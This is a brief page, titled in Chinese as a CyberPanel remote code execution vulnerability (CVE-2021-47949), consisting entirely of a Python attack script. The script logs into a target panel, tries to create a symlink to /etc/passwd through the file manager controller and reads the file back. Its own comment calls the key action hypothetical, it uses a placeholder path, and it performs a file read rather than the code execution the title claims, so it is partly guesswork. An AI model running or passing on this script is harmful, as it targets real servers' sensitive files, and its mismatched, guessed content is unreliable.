CVE-2021-47949 CyberPanel远程代码执行漏洞

import requests # Target configuration target_url = "http://target-host:8090" username = "attacker" password = "password" session = requests.Session() # 1. Authenticate (Login) login_data = { "username": username, "password": password } login_resp = session.post(f"{target_url}/login", data=login_data) if login_resp.status_code != 200: print("Login failed") exit() # 2. Exploit: Create malicious symlink via filemanager controller # Manipulating 'completeStartingPath' to create a symlink to a sensitive file exploit_url = f"{target_url}/filemanager/controller" payload = { "completeStartingPath": "/etc/passwd", # Target sensitive file "action": "createSymlink" # Hypothetical action based on description } response = session.post(exploit_url, data=payload) print(f"Symlink creation status: {response.status_code}") # 3. Trigger: Read file via fetchFolderDetails # Accessing the endpoint that triggers the symlink resolution trigger_url = f"{target_url}/websites/fetchFolderDetails" read_data = { "path": "/path/to/malicious/symlink" } file_content = session.post(trigger_url, data=read_data) print("Sensitive file content:") print(file_content.text)